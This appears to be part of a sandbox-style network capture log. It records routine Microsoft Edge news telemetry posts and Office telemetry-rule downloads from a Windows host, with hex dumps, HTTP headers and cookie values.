2024-11-17 02:42:43 UTC	11387	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 30 32 3a 34 32 3a 34 31 2e 31 32 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 32 64 30 38 32 36 66 2d 61 61 39 64 2d 34 37 34 37 2d 62 30 36 31 2d 63 32 65 62 62 34 35 31 38 61 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 36 31 36 37 32 38 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T02:42:41.122Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"b2d0826f-aa9d-4747-b061-c2ebb4518ab8","epoch":"1446167283"},"app":{"locale
2024-11-17 02:42:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=854147ea59254953bf10814a9f466101&HASH=8541&LV=202411&V=4&LU=1731811363131; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 02:42:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ca14c62a6354451384b633750569407f; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 03:12:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2007 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 02:42:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	49905	20.42.73.31	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361128&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5034 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-17 02:42:43 UTC	5034	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 30 32 3a 34 32 3a 34 31 2e 31 32 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 32 64 30 38 32 36 66 2d 61 61 39 64 2d 34 37 34 37 2d 62 30 36 31 2d 63 32 65 62 62 34 35 31 38 61 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 36 31 36 37 32 38 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T02:42:41.127Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"b2d0826f-aa9d-4747-b061-c2ebb4518ab8","epoch":"1446167283"},"app":{"locale
2024-11-17 02:42:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3b261f31e2be400dac40faca428308a0&HASH=3b26&LV=202411&V=4&LU=1731811363410; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 02:42:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=4b6d74a54d4d44508bdce84b03d036ed; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 03:12:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2282 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 02:42:42 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:43 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 74785e04-801e-00ac-6ff8-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024243Z-164f84587bfsqsthhC1DFWh63000000002tg00000000bacs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:43 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024243Z-16547b76f7fzwxm2hC1DFWt5hw00000001c0000000000pd7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:43 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024243Z-16547b76f7fhvzzthC1DFW557000000003tg000000008m10 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:43 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:43 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024243Z-16547b76f7fl5zvnhC1DFWtk9g000000024g000000008u2p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:43 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:43 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024243Z-164f84587bfsqsthhC1DFWh63000000002s000000000e907 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:43 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49912	20.42.73.31	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:43 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731811361808&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=024D4A803FDA694A0F455FBA3E2B6876; _EDGE_S=F=1&SID=3491595A084E67E72D704C6009E466F6; _EDGE_V=1; msnup=
2024-11-17 02:42:43 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 37 54 30 32 3a 34 32 3a 34 31 2e 38 30 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 32 64 30 38 32 36 66 2d 61 61 39 64 2d 34 37 34 37 2d 62 30 36 31 2d 63 32 65 62 62 34 35 31 38 61 62 38 22 2c 22 65 70 6f 63 68 22 3a 22 31 34 34 36 31 36 37 32 38 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-17T02:42:41.807Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"b2d0826f-aa9d-4747-b061-c2ebb4518ab8","epoch":"1446167283"},"app":{"locale
2024-11-17 02:42:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5b5167f7d1f54264b0ab9b47037b5473&HASH=5b51&LV=202411&V=4&LU=1731811363799; Domain=.microsoft.com; Expires=Mon, 17 Nov 2025 02:42:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=659c6f39386d4456a4af32b6d3273594; Domain=.microsoft.com; Expires=Sun, 17 Nov 2024 03:12:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1991 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 17 Nov 2024 02:42:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-16547b76f7f64d6whC1DFWf9vn0000000290000000009gw6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:44 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-1866b5c5fbbvz6qbhC1DFWsyms00000002w000000000cgc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:44 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:44 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:44 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024244Z-1866b5c5fbbldb6rhC1DFW4bew00000003w000000000c6k9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
